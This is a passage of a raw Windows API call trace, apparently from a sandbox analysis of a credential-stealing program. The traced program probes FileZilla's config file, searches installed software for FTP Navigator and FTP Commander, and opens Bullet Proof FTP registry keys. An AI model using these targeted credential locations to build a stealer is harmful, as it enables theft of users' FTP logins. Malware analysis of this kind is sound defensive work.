lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" [0068.411] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\filezilla.xml") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\filezilla.xml" [0068.411] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x38 [0068.411] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x626a88 [0068.411] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\filezilla.xml", lpDst=0x626a88, nSize=0x38 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\filezilla.xml") returned 0x37 [0068.411] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\filezilla.xml" (normalized: "c:\\users\\eebsym5\\appdata\\local\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.411] LocalFree (hMem=0x626a88) returned 0x0 [0068.411] LocalFree (hMem=0x6415d0) returned 0x0 [0068.411] LocalFree (hMem=0x641518) returned 0x0 [0068.412] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.412] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.412] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.412] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.412] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.412] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.412] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.412] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.412] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0068.412] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0068.412] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x7, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.412] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.412] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="FTP Navigator") returned 0x0 [0068.412] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="FTP Commander") returned 0x0 [0068.412] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="FTP Navigator") returned 0x0 [0068.412] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="FTP Commander") returned 0x0 [0068.412] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="FTP Navigator") returned 0x0 [0068.413] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="FTP Commander") returned 0x0 [0068.413] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.414] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.415] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.416] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="FTP Commander") returned 0x0 [0068.417] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="FTP Navigator") returned 0x0 [0068.417] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="FTP Commander") returned 0x0 [0068.418] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.418] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.418] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="FTP Navigator") returned 0x0 [0068.418] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="FTP Commander") returned 0x0 [0068.418] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="FTP Navigator") returned 0x0 [0068.418] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="FTP Commander") returned 0x0 [0068.418] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="FTP Navigator") returned 0x0 [0068.418] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="FTP Commander") returned 0x0 [0068.418] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="FTP Commander") returned 0x0 [0068.419] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="FTP Navigator") returned 0x0 [0068.419] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="FTP Commander") returned 0x0 [0068.419] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.420] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.420] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.420] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.420] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.420] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.420] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.420] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.420] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.420] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.420] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x8, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.420] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Main", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\BPFTP\\Bullet Proof FTP\\Main", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.420] RegOpenKeyExA (in: 